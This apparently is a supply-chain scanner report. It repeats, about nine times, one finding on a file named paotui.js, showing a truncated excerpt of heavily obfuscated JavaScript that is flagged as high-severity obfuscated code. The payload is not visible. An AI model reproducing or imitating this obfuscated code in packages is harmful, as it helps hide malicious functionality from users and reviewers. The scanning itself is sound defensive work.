Scanner excerpt · paotui.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
'use strict';(function(_0x2c10a7,_0x2c7adc){var _0x50a4ba={_0x439c34:'FA*r',_0x203366:0x206e,_0x14e8d2:0x1c37,_0x20e6fb:0xe1e,_0x2f2842:'@sL6',_0x3f26f7:0x2ad7,_0x2b934d:'c^%a',_0x51f68b:0x3304,_0x41d9d7:'80qn',_0x3e90fa:0x326,_0x2e0aa7:0x1552,_0x57c432:0x3c23,_0x391b90:0x32a2,_0x2524ca:'1g3G',_0x3cff41:0x1fb6,_0x4c2121:0x24c0,_0x582cc6:'NTbq',_0x28cb9a:0xde1,_0x1035a9:0x23c3,_0xb6b49d:0x5ae},_0x55fc49=_0x2c10a7();function _0x4d22c7(_0x33bde7,_0x44d64b,_0x3fdc4a,_0x4f684c){return _0x3a83(_0x3fdc4a- -0x325,_0x33bde7);}function _0x236426(_0x3a78b9,_0x19118a,_0x2a0350,_0x3b6f77){return _0x3a83(_0x19118a- -0x37c,_0x2a0350);}while(!![]){try{var _0x484dfe=-parseInt(_0x4d22c7(_0x50a4ba._0x439c34,0x220e,_0x50a4ba._0x203366,0x3928))/(-0x2545+-0x5e*0x65+-0x1297*-0x4)+parseInt(_0x236426(_0x50a4ba._0x14e8d2,_0x50a4ba._0x20e6fb,_0x50a4ba._0x2f2842,-0xdf5))/(-0x666+0x25a+-0x15a*-0x3)*(parseInt(_0x4d22c7('OtQa',_0x50a4ba._0x3f26f7,0x154e,0x4ea))/(-0x4+-0x3*0x7fa+-0x17f5*-0x1))+-parseInt(_0x236426(0x114c,0xd9,_0x50a4ba._0x2b934d,0x35e))/(0x3*0x4ef+-0x333*0x9+0xe02)*(parseInt(_0x236426(0x2b46,_0x50a4ba._0x51f68b,'ABZs',0x441a))/(0x2ad*0x3+0x7e+-0x880))+parseInt(_0x4d22c7(_0x50a4ba._0x41d9d7,-_0x50a4ba._0x3e90fa,_0x50a4ba._0x2e0aa7,0x68f))/(0x2c0+0x1*0x23c2+-0x267c)+parseInt(_0x236426(_0x50a4ba._0x57c432,_0x50a4ba._0x391b90,_0x50a4ba._0x2524ca,_0x50a4ba._0x3cff41))/(0x3f9*0x4+0xa1b*-0x2+0x459)+-parseInt(_0x236426(0x2265,_0x50a4ba._0x4c2121,_0x50a4ba._0x582cc6,_0x50a4ba._0x28cb9a))/(-0xcec*0x1+0xd16+0x11*-0x2)+parseInt(_0x4d22c7('m8JP',0x48c3,0x331b,_0x50a4ba._0x1035a9))/(0x21c*0xd+-0x88*0x1+0x55f*-0x5)*(-parseInt(_0x236426(-0x93b,0xae5,'c^%a',_0x50a4ba._0xb6b49d))/(0xd7*0x13+0xd9*0x13+0x2*-0x1003));if(_0x484dfe===_0x2c7adc)break;else _0x55fc49['push'](_0x55fc49['shift']());}catch(_0x456713){_0x55fc49['push'](_0x55fc49['shift']());}}}(_0x4a56,0xaac89+0x1*-0xa1783+0x52ecf));var __getOwnPropNames=Object['getOwnPr'+_0x5b9aa9(0x24e9,0xe3b,0xdf7,'rKS6')+_0x5b9aa9(0x42b7
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · paotui.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
'use strict';(function(_0x2c10a7,_0x2c7adc){var _0x50a4ba={_0x439c34:'FA*r',_0x203366:0x206e,_0x14e8d2:0x1c37,_0x20e6fb:0xe1e,_0x2f2842:'@sL6',_0x3f26f7:0x2ad7,_0x2b934d:'c^%a',_0x51f68b:0x3304,_0x41d9d7:'80qn',_0x3e90fa:0x326,_0x2e0aa7:0x1552,_0x57c432:0x3c23,_0x391b90:0x32a2,_0x2524ca:'1g3G',_0x3cff41:0x1fb6,_0x4c2121:0x24c0,_0x582cc6:'NTbq',_0x28cb9a:0xde1,_0x1035a9:0x23c3,_0xb6b49d:0x5ae},_0x55fc49=_0x2c10a7();function _0x4d22c7(_0x33bde7,_0x44d64b,_0x3fdc4a,_0x4f684c){return _0x3a83(_0x3fdc4a- -0x325,_0x33bde7);}function _0x236426(_0x3a78b9,_0x19118a,_0x2a0350,_0x3b6f77){return _0x3a83(_0x19118a- -0x37c,_0x2a0350);}while(!![]){try{var _0x484dfe=-parseInt(_0x4d22c7(_0x50a4ba._0x439c34,0x220e,_0x50a4ba._0x203366,0x3928))/(-0x2545+-0x5e*0x65+-0x1297*-0x4)+parseInt(_0x236426(_0x50a4ba._0x14e8d2,_0x50a4ba._0x20e6fb,_0x50a4ba._0x2f2842,-0xdf5))/(-0x666+0x25a+-0x15a*-0x3)*(parseInt(_0x4d22c7('OtQa',_0x50a4ba._0x3f26f7,0x154e,0x4ea))/(-0x4+-0x3*0x7fa+-0x17f5*-0x1))+-parseInt(_0x236426(0x114c,0xd9,_0x50a4ba._0x2b934d,0x35e))/(0x3*0x4ef+-0x333*0x9+0xe02)*(parseInt(_0x236426(0x2b46,_0x50a4ba._0x51f68b,'ABZs',0x441a))/(0x2ad*0x3+0x7e+-0x880))+parseInt(_0x4d22c7(_0x50a4ba._0x41d9d7,-_0x50a4ba._0x3e90fa,_0x50a4ba._0x2e0aa7,0x68f))/(0x2c0+0x1*0x23c2+-0x267c)+parseInt(_0x236426(_0x50a4ba._0x57c432,_0x50a4ba._0x391b90,_0x50a4ba._0x2524ca,_0x50a4ba._0x3cff41))/(0x3f9*0x4+0xa1b*-0x2+0x459)+-parseInt(_0x236426(0x2265,_0x50a4ba._0x4c2121,_0x50a4ba._0x582cc6,_0x50a4ba._0x28cb9a))/(-0xcec*0x1+0xd16+0x11*-0x2)+parseInt(_0x4d22c7('m8JP',0x48c3,0x331b,_0x50a4ba._0x1035a9))/(0x21c*0xd+-0x88*0x1+0x55f*-0x5)*(-parseInt(_0x236426(-0x93b,0xae5,'c^%a',_0x50a4ba._0xb6b49d))/(0xd7*0x13+0xd9*0x13+0x2*-0x1003));if(_0x484dfe===_0x2c7adc)break;else _0x55fc49['push'](_0x55fc49['shift']());}catch(_0x456713){_0x55fc49['push'](_0x55fc49['shift']());}}}(_0x4a56,0xaac89+0x1*-0xa1783+0x52ecf));var __getOwnPropNames=Object['getOwnPr'+_0x5b9aa9(0x24e9,0xe3b,0xdf7,'rKS6')+_0x5b9aa9(0x42b7
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · paotui.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
'use strict';(function(_0x2c10a7,_0x2c7adc){var _0x50a4ba={_0x439c34:'FA*r',_0x203366:0x206e,_0x14e8d2:0x1c37,_0x20e6fb:0xe1e,_0x2f2842:'@sL6',_0x3f26f7:0x2ad7,_0x2b934d:'c^%a',_0x51f68b:0x3304,_0x41d9d7:'80qn',_0x3e90fa:0x326,_0x2e0aa7:0x1552,_0x57c432:0x3c23,_0x391b90:0x32a2,_0x2524ca:'1g3G',_0x3cff41:0x1fb6,_0x4c2121:0x24c0,_0x582cc6:'NTbq',_0x28cb9a:0xde1,_0x1035a9:0x23c3,_0xb6b49d:0x5ae},_0x55fc49=_0x2c10a7();function _0x4d22c7(_0x33bde7,_0x44d64b,_0x3fdc4a,_0x4f684c){return _0x3a83(_0x3fdc4a- -0x325,_0x33bde7);}function _0x236426(_0x3a78b9,_0x19118a,_0x2a0350,_0x3b6f77){return _0x3a83(_0x19118a- -0x37c,_0x2a0350);}while(!![]){try{var _0x484dfe=-parseInt(_0x4d22c7(_0x50a4ba._0x439c34,0x220e,_0x50a4ba._0x203366,0x3928))/(-0x2545+-0x5e*0x65+-0x1297*-0x4)+parseInt(_0x236426(_0x50a4ba._0x14e8d2,_0x50a4ba._0x20e6fb,_0x50a4ba._0x2f2842,-0xdf5))/(-0x666+0x25a+-0x15a*-0x3)*(parseInt(_0x4d22c7('OtQa',_0x50a4ba._0x3f26f7,0x154e,0x4ea))/(-0x4+-0x3*0x7fa+-0x17f5*-0x1))+-parseInt(_0x236426(0x114c,0xd9,_0x50a4ba._0x2b934d,0x35e))/(0x3*0x4ef+-0x333*0x9+0xe02)*(parseInt(_0x236426(0x2b46,_0x50a4ba._0x51f68b,'ABZs',0x441a))/(0x2ad*0x3+0x7e+-0x880))+parseInt(_0x4d22c7(_0x50a4ba._0x41d9d7,-_0x50a4ba._0x3e90fa,_0x50a4ba._0x2e0aa7,0x68f))/(0x2c0+0x1*0x23c2+-0x267c)+parseInt(_0x236426(_0x50a4ba._0x57c432,_0x50a4ba._0x391b90,_0x50a4ba._0x2524ca,_0x50a4ba._0x3cff41))/(0x3f9*0x4+0xa1b*-0x2+0x459)+-parseInt(_0x236426(0x2265,_0x50a4ba._0x4c2121,_0x50a4ba._0x582cc6,_0x50a4ba._0x28cb9a))/(-0xcec*0x1+0xd16+0x11*-0x2)+parseInt(_0x4d22c7('m8JP',0x48c3,0x331b,_0x50a4ba._0x1035a9))/(0x21c*0xd+-0x88*0x1+0x55f*-0x5)*(-parseInt(_0x236426(-0x93b,0xae5,'c^%a',_0x50a4ba._0xb6b49d))/(0xd7*0x13+0xd9*0x13+0x2*-0x1003));if(_0x484dfe===_0x2c7adc)break;else _0x55fc49['push'](_0x55fc49['shift']());}catch(_0x456713){_0x55fc49['push'](_0x55fc49['shift']());}}}(_0x4a56,0xaac89+0x1*-0xa1783+0x52ecf));var __getOwnPropNames=Object['getOwnPr'+_0x5b9aa9(0x24e9,0xe3b,0xdf7,'rKS6')+_0x5b9aa9(0x42b7
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · paotui.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
'use strict';(function(_0x2c10a7,_0x2c7adc){var _0x50a4ba={_0x439c34:'FA*r',_0x203366:0x206e,_0x14e8d2:0x1c37,_0x20e6fb:0xe1e,_0x2f2842:'@sL6',_0x3f26f7:0x2ad7,_0x2b934d:'c^%a',_0x51f68b:0x3304,_0x41d9d7:'80qn',_0x3e90fa:0x326,_0x2e0aa7:0x1552,_0x57c432:0x3c23,_0x391b90:0x32a2,_0x2524ca:'1g3G',_0x3cff41:0x1fb6,_0x4c2121:0x24c0,_0x582cc6:'NTbq',_0x28cb9a:0xde1,_0x1035a9:0x23c3,_0xb6b49d:0x5ae},_0x55fc49=_0x2c10a7();function _0x4d22c7(_0x33bde7,_0x44d64b,_0x3fdc4a,_0x4f684c){return _0x3a83(_0x3fdc4a- -0x325,_0x33bde7);}function _0x236426(_0x3a78b9,_0x19118a,_0x2a0350,_0x3b6f77){return _0x3a83(_0x19118a- -0x37c,_0x2a0350);}while(!![]){try{var _0x484dfe=-parseInt(_0x4d22c7(_0x50a4ba._0x439c34,0x220e,_0x50a4ba._0x203366,0x3928))/(-0x2545+-0x5e*0x65+-0x1297*-0x4)+parseInt(_0x236426(_0x50a4ba._0x14e8d2,_0x50a4ba._0x20e6fb,_0x50a4ba._0x2f2842,-0xdf5))/(-0x666+0x25a+-0x15a*-0x3)*(parseInt(_0x4d22c7('OtQa',_0x50a4ba._0x3f26f7,0x154e,0x4ea))/(-0x4+-0x3*0x7fa+-0x17f5*-0x1))+-parseInt(_0x236426(0x114c,0xd9,_0x50a4ba._0x2b934d,0x35e))/(0x3*0x4ef+-0x333*0x9+0xe02)*(parseInt(_0x236426(0x2b46,_0x50a4ba._0x51f68b,'ABZs',0x441a))/(0x2ad*0x3+0x7e+-0x880))+parseInt(_0x4d22c7(_0x50a4ba._0x41d9d7,-_0x50a4ba._0x3e90fa,_0x50a4ba._0x2e0aa7,0x68f))/(0x2c0+0x1*0x23c2+-0x267c)+parseInt(_0x236426(_0x50a4ba._0x57c432,_0x50a4ba._0x391b90,_0x50a4ba._0x2524ca,_0x50a4ba._0x3cff41))/(0x3f9*0x4+0xa1b*-0x2+0x459)+-parseInt(_0x236426(0x2265,_0x50a4ba._0x4c2121,_0x50a4ba._0x582cc6,_0x50a4ba._0x28cb9a))/(-0xcec*0x1+0xd16+0x11*-0x2)+parseInt(_0x4d22c7('m8JP',0x48c3,0x331b,_0x50a4ba._0x1035a9))/(0x21c*0xd+-0x88*0x1+0x55f*-0x5)*(-parseInt(_0x236426(-0x93b,0xae5,'c^%a',_0x50a4ba._0xb6b49d))/(0xd7*0x13+0xd9*0x13+0x2*-0x1003));if(_0x484dfe===_0x2c7adc)break;else _0x55fc49['push'](_0x55fc49['shift']());}catch(_0x456713){_0x55fc49['push'](_0x55fc49['shift']());}}}(_0x4a56,0xaac89+0x1*-0xa1783+0x52ecf));var __getOwnPropNames=Object['getOwnPr'+_0x5b9aa9(0x24e9,0xe3b,0xdf7,'rKS6')+_0x5b9aa9(0x42b7
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · paotui.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
'use strict';(function(_0x2c10a7,_0x2c7adc){var _0x50a4ba={_0x439c34:'FA*r',_0x203366:0x206e,_0x14e8d2:0x1c37,_0x20e6fb:0xe1e,_0x2f2842:'@sL6',_0x3f26f7:0x2ad7,_0x2b934d:'c^%a',_0x51f68b:0x3304,_0x41d9d7:'80qn',_0x3e90fa:0x326,_0x2e0aa7:0x1552,_0x57c432:0x3c23,_0x391b90:0x32a2,_0x2524ca:'1g3G',_0x3cff41:0x1fb6,_0x4c2121:0x24c0,_0x582cc6:'NTbq',_0x28cb9a:0xde1,_0x1035a9:0x23c3,_0xb6b49d:0x5ae},_0x55fc49=_0x2c10a7();function _0x4d22c7(_0x33bde7,_0x44d64b,_0x3fdc4a,_0x4f684c){return _0x3a83(_0x3fdc4a- -0x325,_0x33bde7);}function _0x236426(_0x3a78b9,_0x19118a,_0x2a0350,_0x3b6f77){return _0x3a83(_0x19118a- -0x37c,_0x2a0350);}while(!![]){try{var _0x484dfe=-parseInt(_0x4d22c7(_0x50a4ba._0x439c34,0x220e,_0x50a4ba._0x203366,0x3928))/(-0x2545+-0x5e*0x65+-0x1297*-0x4)+parseInt(_0x236426(_0x50a4ba._0x14e8d2,_0x50a4ba._0x20e6fb,_0x50a4ba._0x2f2842,-0xdf5))/(-0x666+0x25a+-0x15a*-0x3)*(parseInt(_0x4d22c7('OtQa',_0x50a4ba._0x3f26f7,0x154e,0x4ea))/(-0x4+-0x3*0x7fa+-0x17f5*-0x1))+-parseInt(_0x236426(0x114c,0xd9,_0x50a4ba._0x2b934d,0x35e))/(0x3*0x4ef+-0x333*0x9+0xe02)*(parseInt(_0x236426(0x2b46,_0x50a4ba._0x51f68b,'ABZs',0x441a))/(0x2ad*0x3+0x7e+-0x880))+parseInt(_0x4d22c7(_0x50a4ba._0x41d9d7,-_0x50a4ba._0x3e90fa,_0x50a4ba._0x2e0aa7,0x68f))/(0x2c0+0x1*0x23c2+-0x267c)+parseInt(_0x236426(_0x50a4ba._0x57c432,_0x50a4ba._0x391b90,_0x50a4ba._0x2524ca,_0x50a4ba._0x3cff41))/(0x3f9*0x4+0xa1b*-0x2+0x459)+-parseInt(_0x236426(0x2265,_0x50a4ba._0x4c2121,_0x50a4ba._0x582cc6,_0x50a4ba._0x28cb9a))/(-0xcec*0x1+0xd16+0x11*-0x2)+parseInt(_0x4d22c7('m8JP',0x48c3,0x331b,_0x50a4ba._0x1035a9))/(0x21c*0xd+-0x88*0x1+0x55f*-0x5)*(-parseInt(_0x236426(-0x93b,0xae5,'c^%a',_0x50a4ba._0xb6b49d))/(0xd7*0x13+0xd9*0x13+0x2*-0x1003));if(_0x484dfe===_0x2c7adc)break;else _0x55fc49['push'](_0x55fc49['shift']());}catch(_0x456713){_0x55fc49['push'](_0x55fc49['shift']());}}}(_0x4a56,0xaac89+0x1*-0xa1783+0x52ecf));var __getOwnPropNames=Object['getOwnPr'+_0x5b9aa9(0x24e9,0xe3b,0xdf7,'rKS6')+_0x5b9aa9(0x42b7
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · paotui.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
'use strict';(function(_0x2c10a7,_0x2c7adc){var _0x50a4ba={_0x439c34:'FA*r',_0x203366:0x206e,_0x14e8d2:0x1c37,_0x20e6fb:0xe1e,_0x2f2842:'@sL6',_0x3f26f7:0x2ad7,_0x2b934d:'c^%a',_0x51f68b:0x3304,_0x41d9d7:'80qn',_0x3e90fa:0x326,_0x2e0aa7:0x1552,_0x57c432:0x3c23,_0x391b90:0x32a2,_0x2524ca:'1g3G',_0x3cff41:0x1fb6,_0x4c2121:0x24c0,_0x582cc6:'NTbq',_0x28cb9a:0xde1,_0x1035a9:0x23c3,_0xb6b49d:0x5ae},_0x55fc49=_0x2c10a7();function _0x4d22c7(_0x33bde7,_0x44d64b,_0x3fdc4a,_0x4f684c){return _0x3a83(_0x3fdc4a- -0x325,_0x33bde7);}function _0x236426(_0x3a78b9,_0x19118a,_0x2a0350,_0x3b6f77){return _0x3a83(_0x19118a- -0x37c,_0x2a0350);}while(!![]){try{var _0x484dfe=-parseInt(_0x4d22c7(_0x50a4ba._0x439c34,0x220e,_0x50a4ba._0x203366,0x3928))/(-0x2545+-0x5e*0x65+-0x1297*-0x4)+parseInt(_0x236426(_0x50a4ba._0x14e8d2,_0x50a4ba._0x20e6fb,_0x50a4ba._0x2f2842,-0xdf5))/(-0x666+0x25a+-0x15a*-0x3)*(parseInt(_0x4d22c7('OtQa',_0x50a4ba._0x3f26f7,0x154e,0x4ea))/(-0x4+-0x3*0x7fa+-0x17f5*-0x1))+-parseInt(_0x236426(0x114c,0xd9,_0x50a4ba._0x2b934d,0x35e))/(0x3*0x4ef+-0x333*0x9+0xe02)*(parseInt(_0x236426(0x2b46,_0x50a4ba._0x51f68b,'ABZs',0x441a))/(0x2ad*0x3+0x7e+-0x880))+parseInt(_0x4d22c7(_0x50a4ba._0x41d9d7,-_0x50a4ba._0x3e90fa,_0x50a4ba._0x2e0aa7,0x68f))/(0x2c0+0x1*0x23c2+-0x267c)+parseInt(_0x236426(_0x50a4ba._0x57c432,_0x50a4ba._0x391b90,_0x50a4ba._0x2524ca,_0x50a4ba._0x3cff41))/(0x3f9*0x4+0xa1b*-0x2+0x459)+-parseInt(_0x236426(0x2265,_0x50a4ba._0x4c2121,_0x50a4ba._0x582cc6,_0x50a4ba._0x28cb9a))/(-0xcec*0x1+0xd16+0x11*-0x2)+parseInt(_0x4d22c7('m8JP',0x48c3,0x331b,_0x50a4ba._0x1035a9))/(0x21c*0xd+-0x88*0x1+0x55f*-0x5)*(-parseInt(_0x236426(-0x93b,0xae5,'c^%a',_0x50a4ba._0xb6b49d))/(0xd7*0x13+0xd9*0x13+0x2*-0x1003));if(_0x484dfe===_0x2c7adc)break;else _0x55fc49['push'](_0x55fc49['shift']());}catch(_0x456713){_0x55fc49['push'](_0x55fc49['shift']());}}}(_0x4a56,0xaac89+0x1*-0xa1783+0x52ecf));var __getOwnPropNames=Object['getOwnPr'+_0x5b9aa9(0x24e9,0xe3b,0xdf7,'rKS6')+_0x5b9aa9(0x42b7
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · paotui.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
'use strict';(function(_0x2c10a7,_0x2c7adc){var _0x50a4ba={_0x439c34:'FA*r',_0x203366:0x206e,_0x14e8d2:0x1c37,_0x20e6fb:0xe1e,_0x2f2842:'@sL6',_0x3f26f7:0x2ad7,_0x2b934d:'c^%a',_0x51f68b:0x3304,_0x41d9d7:'80qn',_0x3e90fa:0x326,_0x2e0aa7:0x1552,_0x57c432:0x3c23,_0x391b90:0x32a2,_0x2524ca:'1g3G',_0x3cff41:0x1fb6,_0x4c2121:0x24c0,_0x582cc6:'NTbq',_0x28cb9a:0xde1,_0x1035a9:0x23c3,_0xb6b49d:0x5ae},_0x55fc49=_0x2c10a7();function _0x4d22c7(_0x33bde7,_0x44d64b,_0x3fdc4a,_0x4f684c){return _0x3a83(_0x3fdc4a- -0x325,_0x33bde7);}function _0x236426(_0x3a78b9,_0x19118a,_0x2a0350,_0x3b6f77){return _0x3a83(_0x19118a- -0x37c,_0x2a0350);}while(!![]){try{var _0x484dfe=-parseInt(_0x4d22c7(_0x50a4ba._0x439c34,0x220e,_0x50a4ba._0x203366,0x3928))/(-0x2545+-0x5e*0x65+-0x1297*-0x4)+parseInt(_0x236426(_0x50a4ba._0x14e8d2,_0x50a4ba._0x20e6fb,_0x50a4ba._0x2f2842,-0xdf5))/(-0x666+0x25a+-0x15a*-0x3)*(parseInt(_0x4d22c7('OtQa',_0x50a4ba._0x3f26f7,0x154e,0x4ea))/(-0x4+-0x3*0x7fa+-0x17f5*-0x1))+-parseInt(_0x236426(0x114c,0xd9,_0x50a4ba._0x2b934d,0x35e))/(0x3*0x4ef+-0x333*0x9+0xe02)*(parseInt(_0x236426(0x2b46,_0x50a4ba._0x51f68b,'ABZs',0x441a))/(0x2ad*0x3+0x7e+-0x880))+parseInt(_0x4d22c7(_0x50a4ba._0x41d9d7,-_0x50a4ba._0x3e90fa,_0x50a4ba._0x2e0aa7,0x68f))/(0x2c0+0x1*0x23c2+-0x267c)+parseInt(_0x236426(_0x50a4ba._0x57c432,_0x50a4ba._0x391b90,_0x50a4ba._0x2524ca,_0x50a4ba._0x3cff41))/(0x3f9*0x4+0xa1b*-0x2+0x459)+-parseInt(_0x236426(0x2265,_0x50a4ba._0x4c2121,_0x50a4ba._0x582cc6,_0x50a4ba._0x28cb9a))/(-0xcec*0x1+0xd16+0x11*-0x2)+parseInt(_0x4d22c7('m8JP',0x48c3,0x331b,_0x50a4ba._0x1035a9))/(0x21c*0xd+-0x88*0x1+0x55f*-0x5)*(-parseInt(_0x236426(-0x93b,0xae5,'c^%a',_0x50a4ba._0xb6b49d))/(0xd7*0x13+0xd9*0x13+0x2*-0x1003));if(_0x484dfe===_0x2c7adc)break;else _0x55fc49['push'](_0x55fc49['shift']());}catch(_0x456713){_0x55fc49['push'](_0x55fc49['shift']());}}}(_0x4a56,0xaac89+0x1*-0xa1783+0x52ecf));var __getOwnPropNames=Object['getOwnPr'+_0x5b9aa9(0x24e9,0xe3b,0xdf7,'rKS6')+_0x5b9aa9(0x42b7
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · paotui.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
'use strict';(function(_0x2c10a7,_0x2c7adc){var _0x50a4ba={_0x439c34:'FA*r',_0x203366:0x206e,_0x14e8d2:0x1c37,_0x20e6fb:0xe1e,_0x2f2842:'@sL6',_0x3f26f7:0x2ad7,_0x2b934d:'c^%a',_0x51f68b:0x3304,_0x41d9d7:'80qn',_0x3e90fa:0x326,_0x2e0aa7:0x1552,_0x57c432:0x3c23,_0x391b90:0x32a2,_0x2524ca:'1g3G',_0x3cff41:0x1fb6,_0x4c2121:0x24c0,_0x582cc6:'NTbq',_0x28cb9a:0xde1,_0x1035a9:0x23c3,_0xb6b49d:0x5ae},_0x55fc49=_0x2c10a7();function _0x4d22c7(_0x33bde7,_0x44d64b,_0x3fdc4a,_0x4f684c){return _0x3a83(_0x3fdc4a- -0x325,_0x33bde7);}function _0x236426(_0x3a78b9,_0x19118a,_0x2a0350,_0x3b6f77){return _0x3a83(_0x19118a- -0x37c,_0x2a0350);}while(!![]){try{var _0x484dfe=-parseInt(_0x4d22c7(_0x50a4ba._0x439c34,0x220e,_0x50a4ba._0x203366,0x3928))/(-0x2545+-0x5e*0x65+-0x1297*-0x4)+parseInt(_0x236426(_0x50a4ba._0x14e8d2,_0x50a4ba._0x20e6fb,_0x50a4ba._0x2f2842,-0xdf5))/(-0x666+0x25a+-0x15a*-0x3)*(parseInt(_0x4d22c7('OtQa',_0x50a4ba._0x3f26f7,0x154e,0x4ea))/(-0x4+-0x3*0x7fa+-0x17f5*-0x1))+-parseInt(_0x236426(0x114c,0xd9,_0x50a4ba._0x2b934d,0x35e))/(0x3*0x4ef+-0x333*0x9+0xe02)*(parseInt(_0x236426(0x2b46,_0x50a4ba._0x51f68b,'ABZs',0x441a))/(0x2ad*0x3+0x7e+-0x880))+parseInt(_0x4d22c7(_0x50a4ba._0x41d9d7,-_0x50a4ba._0x3e90fa,_0x50a4ba._0x2e0aa7,0x68f))/(0x2c0+0x1*0x23c2+-0x267c)+parseInt(_0x236426(_0x50a4ba._0x57c432,_0x50a4ba._0x391b90,_0x50a4ba._0x2524ca,_0x50a4ba._0x3cff41))/(0x3f9*0x4+0xa1b*-0x2+0x459)+-parseInt(_0x236426(0x2265,_0x50a4ba._0x4c2121,_0x50a4ba._0x582cc6,_0x50a4ba._0x28cb9a))/(-0xcec*0x1+0xd16+0x11*-0x2)+parseInt(_0x4d22c7('m8JP',0x48c3,0x331b,_0x50a4ba._0x1035a9))/(0x21c*0xd+-0x88*0x1+0x55f*-0x5)*(-parseInt(_0x236426(-0x93b,0xae5,'c^%a',_0x50a4ba._0xb6b49d))/(0xd7*0x13+0xd9*0x13+0x2*-0x1003));if(_0x484dfe===_0x2c7adc)break;else _0x55fc49['push'](_0x55fc49['shift']());}catch(_0x456713){_0x55fc49['push'](_0x55fc49['shift']());}}}(_0x4a56,0xaac89+0x1*-0xa1783+0x52ecf));var __getOwnPropNames=Object['getOwnPr'+_0x5b9aa9(0x24e9,0xe3b,0xdf7,'rKS6')+_0x5b9aa9(0x42b7
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · paotui.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
'use strict';(function(_0x2c10a7,_0x2c7adc){var _0x50a4ba={_0x439c34:'FA*r',_0x203366:0x206e,_0x14e8d2:0x1c37,_0x20e6fb:0xe1e,_0x2f2842:'@sL6',_0x3f26f7:0x2ad7,_0x2b934d:'c^%a',_0x51f68b:0x3304,_0x41d9d7:'80qn',_0x3e90fa:0x326,_0x2e0aa7:0x1552,_0x57c432:0x3c23,_0x391b90:0x32a2,_0x2524ca:'1g3G',_0x3cff41:0x1fb6,_0x4c2121:0x24c0,_0x582cc6:'NTbq',_0x28cb9a:0xde1,_0x1035a9:0x23c3,_0xb6b49d:0x5ae},_0x55fc49=_0x2c10a7();function _0x4d22c7(_0x33bde7,_0x44d64b,_0x3fdc4a,_0x4f684c){return _0x3a83(_0x3fdc4a- -0x325,_0x33bde7);}function _0x236426(_0x3a78b9,_0x19118a,_0x2a0350,_0x3b6f77){return _0x3a83(_0x19118a- -0x37c,_0x2a0350);}while(!![]){try{var _0x484dfe=-parseInt(_0x4d22c7(_0x50a4ba._0x439c34,0x220e,_0x50a4ba._0x203366,0x3928))/(-0x2545+-0x5e*0x65+-0x1297*-0x4)+parseInt(_0x236426(_0x50a4ba._0x14e8d2,_0x50a4ba._0x20e6fb,_0x50a4ba._0x2f2842,-0xdf5))/(-0x666+0x25a+-0x15a*-0x3)*(parseInt(_0x4d22c7('OtQa',_0x50a4ba._0x3f26f7,0x154e,0x4ea))/(-0x4+-0x3*0x7fa+-0x17f5*-0x1))+-parseInt(_0x236426(0x114c,0xd9,_0x50a4ba._0x2b934d,0x35e))/(0x3*0x4ef+-0x333*0x9+0xe02)*(parseInt(_0x236426(0x2b46,_0x50a4ba._0x51f68b,'ABZs',0x441a))/(0x2ad*0x3+0x7e+-0x880))+parseInt(_0x4d22c7(_0x50a4ba._0x41d9d7,-_0x50a4ba._0x3e90fa,_0x50a4ba._0x2e0aa7,0x68f))/(0x2c0+0x1*0x23c2+-0x267c)+parseInt(_0x236426(_0x50a4ba._0x57c432,_0x50a4ba._0x391b90,_0x50a4ba._0x2524ca,_0x50a4ba._0x3cff41))/(0x3f9*0x4+0xa1b*-0x2+0x459)+-parseInt(_0x236426(0x2265,_0x50a4ba._0x4c2121,_0x50a4ba._0x582cc6,_0x50a4ba._0x28cb9a))/(-0xcec*0x1+0xd16+0x11*-0x2)+parseInt(_0x4d22c7('m8JP',0x48c3,0x331b,_0x50a4ba._0x1035a9))/(0x21c*0xd+-0x88*0x1+0x55f*-0x5)*(-parseInt(_0x236426(-0x93b,0xae5,'c^%a',_0x50a4ba._0xb6b49d))/(0xd7*0x13+0xd9*0x13+0x2*-0x1003));if(_0x484dfe===_0x2c7adc)break;else _0x55fc49['push'](_0x55fc49['shift']());}catch(_0x456713){_0x55fc49['push'](_0x55fc49['shift']());}}}(_0x4a56,0xaac89+0x1*-0xa1783+0x52ecf));var __getOwnPropNames=Object['getOwnPr'+_0x5b9aa9(0x24e9,0xe3b,0xdf7,'rKS6')+_0x5b9aa9(0x42b7
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · paotui.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
